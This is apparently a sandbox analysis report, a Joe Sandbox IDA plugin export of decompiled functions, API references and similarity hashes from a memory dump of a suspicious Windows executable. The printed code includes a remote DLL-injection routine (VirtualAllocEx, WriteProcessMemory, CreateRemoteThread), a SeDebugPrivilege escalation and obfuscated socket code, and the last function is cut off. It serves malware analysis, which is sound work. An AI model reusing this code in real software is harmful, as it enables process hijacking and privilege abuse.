0x0041e189
0x0041e1a5
0x0041e1b4
0x0041e1d4
0x0041e1db
0x0041e1e5
0x0041e1e7
0x0041e1ec
0x0041e1f0
0x0041e1f1
0x0041e1f8
0x0041e1ff
0x0041e202
0x0041e203
0x0041e205
0x00000000
0x0041e1b6
0x0041e1b6
0x0041e1bd
0x0041e1c3
0x0041e1c5
0x0041e1cf
0x0041e1d0
0x0041e1d0
0x0041e18b
0x0041e18b
0x0041e191
0x0041e197
0x0041e206
0x0041e206
0x0041e206
0x0041e20c
0x0041e219
0x0041e21e
0x0041e22b
0x0041e230
0x0041e237
0x0041e23a
0x0041e23a
0x0041e242
0x0041e249
0x0041e13b
0x0041e142
0x0041e142
0x0041e11c
0x0041e122
0x0041e122
0x0041e10c
0x0041e10c
0x0041e10c

APIs

FindResourceA.KERNEL32(?,?,00000000), ref: 0041E0FB
LoadResource.KERNEL32(?,00000000,?), ref: 0041E110

Strings

j, xrefs: 0041E0C3
J, xrefs: 0041E0D2

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Resource$FindLoad
String ID: J$j
API String ID: 2619053042-3737368804
Opcode ID: fe47708d2242fba92410debff7745f42e397a78bd33df98b80b869a76dd34fef
Instruction ID: 0a658f5d80910e282ec3c283e0b1366a7e562ee0c59841f4f6b99ef4043261a6
Opcode Fuzzy Hash: fe47708d2242fba92410debff7745f42e397a78bd33df98b80b869a76dd34fef
Instruction Fuzzy Hash: 4841083A1082806AD321CB6ABC85AD77B98D7DA370F14513AF9A5462E1D378144BC77A

Uniqueness

Uniqueness Score: -1.00%

Function 00404840, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 96
injectionmemorylibraryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00404840(long _a4, CHAR* _a8) {
				void* _v8;
				intOrPtr _v20;
				char _v29;
				void* _v36;
				void* _v40;
				void* _v44;
				long _v48;
				long _v52;
				void* _v56;
				_Unknown_base(*)()* _v60;
				void* __ebx;
				void* __ebp;
				_Unknown_base(*)()* _t39;
				void* _t40;
				void* _t42;
				void* _t50;
				void* _t51;
				long _t55;
				intOrPtr _t56;

				_push(0xffffffff);
				_push(0x42e2f8);
				_push(E0042521C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t56;
				_v40 = 0;
				_v36 = 0;
				_v44 = 0;
				_v8 = 0;
				_push(OpenProcess(0x42a, 0, _a4));
				_pop(_t42);
				_v36 = _t42;
				if(_t42 != 0) {
					_v29 = 0x34;
					_v29 = 0x37;
					_t55 = lstrlenA(_a8) + 1;
					_v48 = _t55;
					_v52 = _t55;
					_v29 = 8;
					_t50 = VirtualAllocEx(_t42, 0, _t55, 0x1000, 4);
					_v56 = _t50;
					_t51 = _t50;
					if(_t51 != 0) {
						_v29 = 0x6c;
						if(WriteProcessMemory(_t42, _t51, _a8, _t55, 0) != 0) {
							_v29 = 0x6c;
							_t39 = GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
							_v60 = _t39;
							_v29 = 0x20;
							_v29 = 0x81;
							_v29 = 0;
							if(_t39 != 0) {
								_v29 = 0;
								_v29 = 0x28;
								_t40 = CreateRemoteThread(_t42, 0, 0, _t39, _t51, 0, 0);
								_v40 = _t40;
								if(_t40 != 0) {
									_v29 = 0x28;
									 *0x431c83 = 0x28;
									_v44 = 1;
								}
							}
						}
					}
				}
				_v8 = 0xffffffff;
				E00404962(_t42);
				 *[fs:0x0] = _v20;
				return _v44;
			}

0x00404843
0x00404845
0x0040484a
0x00404855
0x00404856
0x00404865
0x00404868
0x0040486b
0x0040486e
0x00404881
0x00404882
0x00404883
0x00404888
0x0040488e
0x00404892
0x004048a2
0x004048a3
0x004048a6
0x004048a9
0x004048bd
0x004048bf
0x004048c2
0x004048c4
0x004048c6
0x004048db
0x004048dd
0x004048f2
0x004048f8
0x004048fb
0x004048ff
0x00404903
0x00404909
0x0040490b
0x0040490f
0x0040491e
0x00404924
0x00404929
0x0040492b
0x0040492f
0x00404936
0x00404936
0x00404929
0x00404909
0x004048db
0x004048c4
0x0040493d
0x00404944
0x0040494f
0x0040495c

APIs

OpenProcess.KERNEL32(0000042A,?,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
lstrlenA.KERNEL32(00405242,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 0040489A
VirtualAllocEx.KERNEL32(00000000,?,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048B7
WriteProcessMemory.KERNEL32(00000000,00000000,00405242,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048D3
GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 004048EB
GetProcAddress.KERNEL32(00000000), ref: 004048F2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E

Strings

Kernel32, xrefs: 004048E6
LoadLibraryA, xrefs: 004048E1

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Process$AddressAllocCreateHandleMemoryModuleOpenProcRemoteThreadVirtualWritelstrlen
String ID: Kernel32$LoadLibraryA
API String ID: 3328640463-2760026638
Opcode ID: bf07c6d72642889d9927cf835f7d640954d08492bf888056b390f45d0359819b
Instruction ID: 35e8f1877cd1fe99fa555564bbd20e4a15dd57dfa3aff9fe71e583e3f0f06a4b
Opcode Fuzzy Hash: bf07c6d72642889d9927cf835f7d640954d08492bf888056b390f45d0359819b
Instruction Fuzzy Hash: C031D6B0A40394EFEB208BA9DC48B9FBFB9AB96714F54416AF550B72C1C7B44501C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 004047A0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004047A0() {
				intOrPtr _v4;
				intOrPtr _v8;
				struct _TOKEN_PRIVILEGES _v16;
				struct _LUID _v24;
				void* _v28;
				int _t14;
				signed char _t23;

				GetCurrentProcess();
				_t14 = OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28);
				if(_t14 != 0) {
					if(LookupPrivilegeValueA(0, "SeDebugPrivilege",  &_v24) != 0) {
						_v16.Privileges = _v24.LowPart;
						_v16.PrivilegeCount = 1;
						_v8 = _v24.HighPart;
						_v4 = 2;
						 *0x431c83 = 0x61;
						AdjustTokenPrivileges(_v28, 0,  &_v16, 0x10, 0, 0);
						_t23 =  *0x431c83; // 0x0
						 *0x431c83 = _t23 - 0x0000000c & 0x00000028;
					}
					return CloseHandle(_v28);
				}
				return _t14;
			}

0x004047aa
0x004047b6
0x004047bf
0x004047d5
0x004047ea
0x004047f5
0x004047fd
0x00404801
0x00404809
0x00404810
0x00404816
0x00404822
0x00404822
0x00000000
0x0040482c
0x00404835

APIs

GetCurrentProcess.KERNEL32(73BB81D0,?,?,?,?,?,?,004051B3), ref: 004047AA
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,004051B3), ref: 004047B3
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,004051B3), ref: 004047B6
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 004047CD
AdjustTokenPrivileges.ADVAPI32 ref: 00404810
CloseHandle.KERNEL32(?,?,?,?,?,?,004051B3), ref: 0040482C

Strings

SeDebugPrivilege, xrefs: 004047C6

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Process$CurrentToken$AdjustCloseHandleLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3621747604-2896544425
Opcode ID: 0a215bdefd83b6b0a82c06cf188103fac98bc57388ba299d9cf20e081b1b8208
Instruction ID: e3cff82f039dc2fa22ffa32a2aad72e96867890cdfe1880dff44978afd410b5a
Opcode Fuzzy Hash: 0a215bdefd83b6b0a82c06cf188103fac98bc57388ba299d9cf20e081b1b8208
Instruction Fuzzy Hash: A001C475608340AFE310DB65DC4AB9B7BE4BB88700F40682CF28896291C7B49505CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00429F44, Relevance: 7.6, APIs: 5, Instructions: 93
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00429F44(void* __ecx, void* __eflags) {
				void* _t29;
				int _t34;
				intOrPtr _t36;
				void* _t45;
				void* _t50;
				long _t53;
				void* _t60;
				void* _t62;
				void* _t70;
				void* _t71;
				void* _t72;

				_t71 = _t72;
				_t29 = 4;
				E004254B0(_t29, __ecx);
				_t62 = _t72 - 0x4c;
				if(VirtualQuery(_t62, _t71 - 0x28, 0x1c) == 0) {
					L9:
					_t34 = 0;
				} else {
					_t50 =  *(_t71 - 0x24);
					GetSystemInfo(_t71 - 0x4c);
					_t53 =  *(_t71 - 0x48);
					_t36 =  *0x432214; // 0x2
					_t60 = ( !(_t53 - 1) & _t62) - _t53;
					asm("sbb esi, esi");
					_t70 = _t50 + (( ~(_t36 - 1) & 0xfffffff1) + 0x11) * _t53;
					 *(_t71 - 8) = _t53;
					if(_t60 < _t70) {
						goto L9;
					} else {
						if(_t36 == 1) {
							 *(_t71 - 4) = _t60;
							goto L14;
						} else {
							 *(_t71 - 4) = _t50;
							while(VirtualQuery( *(_t71 - 4), _t71 - 0x28, 0x1c) != 0) {
								 *(_t71 - 4) =  *(_t71 - 4) +  *((intOrPtr*)(_t71 - 0x1c));
								if(( *(_t71 - 0x18) & 0x00001000) == 0) {
									continue;
								} else {
									_t45 =  *(_t71 - 0x28);
									 *(_t71 - 4) = _t45;
									if(( *(_t71 - 0x13) & 0x00000001) == 0) {
										if(_t60 >= _t45) {
											if(_t45 < _t70) {
												 *(_t71 - 4) = _t70;
											}
											VirtualAlloc( *(_t71 - 4),  *(_t71 - 8), 0x1000, 4);
											_t36 =  *0x432214; // 0x2
											L14:
											asm("sbb eax, eax");
											_t34 = VirtualProtect( *(_t71 - 4),  *(_t71 - 8), ( ~(_t36 - 1) & 0x00000103) + 1, _t71 - 0xc);
										} else {
											goto L9;
										}
									} else {
										_t34 = 1;
									}
								}
								goto L15;
							}
							goto L9;
						}
					}
				}
				L15:
				return _t34;
			}

0x00429f46
0x00429f4f
0x00429f50
0x00429f55
0x00429f66
0x00429fdf
0x00429fdf
0x00429f68
0x00429f68
0x00429f6f
0x00429f75
0x00429f78
0x00429f84
0x00429f8b
0x00429f96
0x00429f9a
0x00429f9d
0x00000000
0x00429f9f
0x00429fa2
0x0042a000
0x00000000
0x00429fa4
0x00429fa4
0x00429fac
0x00429fc2
0x00429fc8
0x00000000
0x00429fca
0x00429fce
0x00429fd1
0x00429fd4
0x00429fdd
0x00429fe5
0x00429fe7
0x00429fe7
0x00429ff3
0x00429ff9
0x0042a003
0x0042a006
0x0042a019
0x00000000
0x00000000
0x00000000
0x00429fd6
0x00429fd8
0x00429fd8
0x00429fd4
0x00000000
0x00429fc8
0x00000000
0x00429fac
0x00429fa2
0x00429f9d
0x0042a01f
0x0042a026

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 00429F5E
GetSystemInfo.KERNEL32(?), ref: 00429F6F
VirtualQuery.KERNEL32(?,?,0000001C), ref: 00429FB5
VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 00429FF3
VirtualProtect.KERNEL32(?,?,00000002,?), ref: 0042A019

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Virtual$Query$AllocInfoProtectSystem
String ID:
API String ID: 4136887677-0
Opcode ID: 7a305c76c04ef39fde5603528c9197d8ce261eeb48a080e7eb4c60f5161d1a4c
Instruction ID: 7ac6b47b39be770eb5698f1764fccfd6ab12a2c97942282def409d4e92b4629c
Opcode Fuzzy Hash: 7a305c76c04ef39fde5603528c9197d8ce261eeb48a080e7eb4c60f5161d1a4c
Instruction Fuzzy Hash: F331A032E4012AABDF108FA4EE45AEE7BB8EB04365F550076E901E3280D7359E41DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040C1D0, Relevance: 6.0, APIs: 4, Instructions: 36
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0040C1D0(signed int __edx) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t17;
				signed int _t19;
				signed int _t21;
				signed int _t23;
				signed int _t33;

				_t33 = __edx;
				_t17 = GetTickCount();
				_v16 = _t17;
				asm("rdtsc");
				_v16 = _v16 ^ _t17 ^ _t33;
				_t19 = GetTickCount();
				_v12 = _t19;
				asm("rdtsc");
				_v12 = _v12 ^ _t19 ^ _t33;
				_t21 = GetTickCount();
				_v8 = _t21;
				asm("rdtsc");
				_v8 = _v8 ^ _t21 ^ _t33;
				_t23 = GetTickCount();
				_v4 = _t23;
				asm("rdtsc");
				_v4 = _v4 ^ _t23 ^ _t33;
				return ((_v16 << 0x00000008 ^ _v12) << 0x00000008 ^ _v8) << 0x00000008 ^ _v4;
			}

0x0040c1d0
0x0040c1da
0x0040c1dc
0x0040c1e0
0x0040c1e4
0x0040c1e8
0x0040c1ea
0x0040c1ee
0x0040c1f2
0x0040c1f6
0x0040c1f8
0x0040c1fc
0x0040c200
0x0040c204
0x0040c206
0x0040c20a
0x0040c20e
0x0040c235

APIs

GetTickCount.KERNEL32 ref: 0040C1DA
GetTickCount.KERNEL32 ref: 0040C1E8
GetTickCount.KERNEL32 ref: 0040C1F6
GetTickCount.KERNEL32 ref: 0040C204

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
Instruction ID: 8ac1f8066ba04423f4662e4113d208e2f1450d097528ad0d5c8686e1bb647505
Opcode Fuzzy Hash: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
Instruction Fuzzy Hash: 56F0A9319283B19F9704EF39C94518BBBE5EBC4250F54CD2EA895C3214E378D915DF92

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD00, Relevance: 3.3, APIs: 2, Instructions: 259
COMMONCrypto

Download Yara Rule

C-Code - Quality: 21%

			E0041BD00(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp, void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v28;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				short _v56;
				short _v58;
				char _v60;
				void* _v92;
				intOrPtr _v96;
				struct _SECURITY_ATTRIBUTES* _v112;
				intOrPtr _v124;
				void _v132;
				int _v140;
				void* _v148;
				int _v152;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t41;
				signed short _t45;
				signed char _t51;
				short _t55;
				intOrPtr _t58;
				signed char _t59;
				int _t62;
				intOrPtr _t67;
				signed char _t68;
				signed char _t70;
				signed char _t73;
				signed char _t83;
				signed char _t84;
				signed int _t88;
				signed char _t91;
				signed int _t97;
				signed int _t99;
				signed int _t102;
				signed int _t108;
				signed char _t112;
				signed char _t115;
				signed char _t116;
				signed int _t119;
				signed int _t122;
				signed char _t125;
				signed char _t127;
				signed char _t130;
				signed char _t133;
				signed char _t138;
				signed char _t140;
				signed int _t142;
				signed char _t144;
				signed int _t150;
				signed char _t152;
				void* _t157;
				signed int _t158;
				signed int _t165;
				void* _t171;

				_t38 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t38;
				_t169 = __ecx;
				E0041BA60();
				_t40 =  *0x431ed0(2, 1, 0, 0, 0, 1);
				 *((intOrPtr*)(__ecx + 4)) = _t40;
				if(_t40 != 0xffffffff) {
					_t83 = 0x4b;
					_t171 = 0x4a;
					_v96 = 0;
					_t41 =  *0x431ed8(__edi, __ebp, __ebx);
					_t97 =  *0x431e7c; // 0x0
					_t157 = _t41;
					_v92 = _t157;
					 *0x431e7c = _t97 ^ 0x00007dcf;
					if(_t157 != 0) {
						_push(0x10);
						_push(_t157);
						_push( *((intOrPtr*)(__ecx + 4)));
						if( *0x431edc() != 0xffffffff) {
							_t108 =  *0x431e84; // 0x0
							_t88 =  *0x431e7c; // 0x0
							_v56 = 0;
							_v52 = 0;
							_v48 = 0;
							_v44 = 0;
							_v56 = 2;
							 *0x431e7c = _t88 & _t108 * 0 & 0x00000049;
							_t55 =  *0x431eac(_v28);
							_t112 =  *0x431e80; // 0x0
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_t83 = 0x41;
							_v58 = _t55;
							_push(0x10);
							 *0x431e80 = _t112 ^ 0x00000041;
							_push( &_v60);
							_push( *((intOrPtr*)(__ecx + 4)));
							_v56 = _v36;
							_t171 = 0x4a;
							if( *0x431ee0() != 0xffffffff) {
								_v140 = 1;
							} else {
								_t138 =  *0x431e84; // 0x0
								 *0x431e78 = _t138 ^ 0x00000048;
								 *0x431e7c =  *0x431e7c ^ 0x00006970;
								_t58 =  *0x431ed4();
								 *((intOrPtr*)(__ecx + 0x1c)) = _t58;
								if(_t58 == 0x2733 || _t58 == 0x2747) {
									_t115 =  *0x431e80; // 0x0
									_t59 =  *0x431e84; // 0x0
									_t116 =  *0x431e78; // 0x0
									 *0x431e80 = _t59 & _t115 | 0x00000079;
									 *0x431e7c = 0x2c;
									 *0x431e78 = _t116 & 0x0000006e;
									_t171 = 0x12ca;
									_t62 = WaitForSingleObject(_t157,  *(_t169 + 0x20));
									if(_t62 == 0) {
										_t140 =  *0x431e80; // 0x0
										 *0x431e84 =  *0x431e84 ^ 0x0000ed47;
										 *0x431e80 = _t140 ^ 0x0000004a;
										_t142 =  *0x431e7c; // 0x0
										_t119 = 0xb;
										memset( &_v132, _t62, _t119 << 2);
										 *0x431e78 = 0x41;
										 *0x431e7c = _t142 * 0x20cd;
										 *0x431ee4( *((intOrPtr*)(_t169 + 4)), 0,  &_v132, _t83);
										_t144 =  *0x431e84; // 0x0
										_t67 = _v124;
										 *0x431e80 = _t144 ^ 0x00000048;
										 *((intOrPtr*)(_t169 + 0x1c)) = _t67;
										if(_t67 == 0) {
											_v152 = 1;
										}
										_t68 =  *0x431e78; // 0x0
										_t122 =  *0x431e84; // 0x0
										_t165 =  *0x431e7c; // 0x0
										_t91 =  *0x431e80; // 0x0
										_t171 = 0x4a;
										 *0x431e7c = _t165 & _t122 * 0 & 0x00000049;
										_t157 = _v148;
										_t83 = _t91 & 0x000000ba | _t68 | 0x00000038;
									}
								}
							}
						}
						 *0x431ee8(_t157);
						_t99 =  *0x431e7c; // 0x0
						_t133 =  *0x431e78; // 0x0
						_t158 = _t83 & 0x000000ff;
						_t84 =  *0x431e80; // 0x0
						 *0x431e7c = _t99 + _t158;
						 *0x431e80 = _t84 | 0x00000006;
						_t45 = 0xf;
						asm("pushad");
						asm("popad");
						 *0x431e84 = _t45;
						 *0x431e78 = _t133 | 0x0000008a;
						if(_v112 != 0) {
							 *((intOrPtr*)(_t169 + 0x18)) = CreateEventA(0, 1, 1, 0);
							_t102 =  *0x431e7c; // 0x0
							 *0x431e7c = _t102 & (_t158 + _t171) * 0 & 0x00000049;
							if( *((intOrPtr*)(_t169 + 0x18)) == 0) {
								_t51 =  *0x431e78; // 0x0
								 *0x431e84 =  *0x431e84 ^ 0x00000041;
								 *0x431e80 = _t51 ^ 0x00000048;
								_v112 = 0;
								 *0x431e7c = 0;
								 *0x431e78 = _t51 ^ 0x0000001e;
								goto L17;
							}
						} else {
							 *0x431e78 = 0x41;
							 *0x431e84 = _t45;
							L17:
							E0041BA60();
						}
						return E00424873(_v112, _v44);
					} else {
						_t125 =  *0x431e78; // 0x0
						_t70 = _t125 ^ 0x00000048;
						 *0x431e80 = _t70;
						 *0x431e84 = 0x5a;
						 *0x431e7c = 0x46 - (_t125 & 0x000000ff);
						 *((intOrPtr*)(__ecx + 0x1c)) =  *0x431ed4();
						_t127 =  *0x431e78; // 0x0
						_t73 =  *0x431e84; // 0x0
						_t150 =  *0x431e7c; // 0x0
						_push(__ecx);
						 *0x431e78 = _t73 & _t127 | 0x0000007a;
						 *0x431e7c = _t150 - ((_t70 | 0x0000007a) & 0x000000ff);
						E0041BA60();
						_t130 =  *0x431e80; // 0x0
						_t152 =  *0x431e78; // 0x0
						 *0x431e84 = 0xf;
						 *0x431e80 = _t152 & _t130 | 0x0000007a;
						return E00424873(0, _v28);
					}
				} else {
					 *((intOrPtr*)(__ecx + 0x1c)) =  *0x431ed4();
					return E00424873(0, _v28);
				}
			}

0x0041bd03
0x0041bd09
0x0041bd0d
0x0041bd0f
0x0041bd20
0x0041bd29
0x0041bd2c
0x0041bd4c
0x0041bd52
0x0041bd53
0x0041bd5b
0x0041bd61
0x0041bd6f
0x0041bd71
0x0041bd75
0x0041bd7b
0x0041be1a
0x0041be1c
0x0041be1d
0x0041be27
0x0041be2d
0x0041be33
0x0041be43
0x0041be47
0x0041be4b
0x0041be4f
0x0041be53
0x0041be67
0x0041be6d
0x0041be73
0x0041be7d
0x0041be7f
0x0041be81
0x0041be83
0x0041be85
0x0041be89
0x0041be8e
0x0041be94
0x0041be9d
0x0041be9e
0x0041be9f
0x0041bea7
0x0041beb1
0x0041bfdb
0x0041beb7
0x0041beb7
0x0041bec0
0x0041bec6
0x0041bed0
0x0041bedb
0x0041bede
0x0041beeb
0x0041bef1
0x0041bef8
0x0041bf03
0x0041bf08
0x0041bf12
0x0041bf1d
0x0041bf22
0x0041bf2a
0x0041bf30
0x0041bf36
0x0041bf42
0x0041bf48
0x0041bf58
0x0041bf5d
0x0041bf64
0x0041bf6b
0x0041bf77
0x0041bf7d
0x0041bf8a
0x0041bf8c
0x0041bf92
0x0041bf95
0x0041bf97
0x0041bf97
0x0041bf9f
0x0041bfa4
0x0041bfaa
0x0041bfb0
0x0041bfbf
0x0041bfcc
0x0041bfd2
0x0041bfd6
0x0041bfd6
0x0041bf2a
0x0041bede
0x0041beb1
0x0041bfe4
0x0041bfea
0x0041bff0
0x0041bff6
0x0041bff9
0x0041c004
0x0041c00e
0x0041c01d
0x0041c01e
0x0041c01f
0x0041c020
0x0041c026
0x0041c02c
0x0041c049
0x0041c04c
0x0041c063
0x0041c06c
0x0041c06e
0x0041c073
0x0041c082
0x0041c088
0x0041c08c
0x0041c092
0x00000000
0x0041c092
0x0041c02e
0x0041c02e
0x0041c035
0x0041c097
0x0041c099
0x0041c099
0x0041c0b2
0x0041bd81
0x0041bd81
0x0041bd89
0x0041bd8e
0x0041bd9c
0x0041bda5
0x0041bdb3
0x0041bdb6
0x0041bdbc
0x0041bdc1
0x0041bdd0
0x0041bdd2
0x0041bdd7
0x0041bddd
0x0041bde2
0x0041bde8
0x0041bdf6
0x0041bdff
0x0041be14
0x0041be14
0x0041bd2e
0x0041bd34
0x0041bd46
0x0041bd46

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c32af4e7485ed4cd308326bee8ba70b734a32b51ee1975b257594529685a928
Instruction ID: e9bc5745752b484fd8381950c929da6adcc4ae91f9ae7f8e2f1bf5fa8f1b8591
Opcode Fuzzy Hash: 0c32af4e7485ed4cd308326bee8ba70b734a32b51ee1975b257594529685a928
Instruction Fuzzy Hash: 75A1A0761043808EE314CF35EC927A67BE6EBAA700F14652EE995873B1D3F78448CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041B3D0, Relevance: 3.0, Strings: 2, Instructions: 486
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E0041B3D0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t185;
				intOrPtr _t186;
				void* _t188;
				intOrPtr* _t189;
				signed int _t192;
				intOrPtr _t196;
				signed int _t201;
				signed int _t202;
				signed int _t204;
				signed int _t206;
				char _t220;
				intOrPtr* _t226;
				intOrPtr _t229;
				void* _t231;
				intOrPtr* _t232;
				signed int _t235;
				signed char _t239;
				intOrPtr _t243;
				signed int _t245;
				signed int _t246;
				signed char _t250;
				signed int _t252;
				signed int _t253;
				signed char _t257;
				signed char _t258;
				signed int _t261;
				signed int _t265;
				signed int _t266;
				signed char _t269;
				signed int _t273;
				void* _t292;
				signed char _t293;
				void* _t296;
				signed char _t298;
				signed int _t300;
				signed int _t303;
				signed char _t309;
				signed char _t311;
				signed char _t312;
				intOrPtr* _t332;
				intOrPtr* _t333;
				intOrPtr _t334;
				void* _t338;
				signed int _t341;
				void* _t343;
				signed char _t345;
				signed char _t359;
				signed int _t375;
				intOrPtr* _t377;
				signed char _t379;
				signed int _t413;
				signed int _t416;
				void* _t417;
				void* _t418;
				void* _t419;
				void* _t420;
				signed int _t421;
				intOrPtr _t423;
				signed int _t424;
				void* _t426;
				void* _t428;
				intOrPtr _t430;
				void* _t431;
				void* _t432;
				void* _t433;

				_t418 = __esi;
				_push(0xffffffff);
				_push(E0042D518);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t430;
				_t431 = _t430 - 0x48;
				_t185 =  *0x4310d8; // 0xd0c2a9a8
				_push(__ebx);
				_push(__edi);
				_t413 = 0;
				 *((intOrPtr*)(_t431 + 0x50)) = _t185;
				_push(__ecx);
				_pop(_t428);
				 *((intOrPtr*)(_t431 + 0x4c)) = 0xf;
				 *((intOrPtr*)(_t431 + 0x48)) = 0;
				 *((char*)(_t431 + 0x38)) = 0;
				_t186 =  *((intOrPtr*)(_t431 + 0x64));
				_t292 = 0x10;
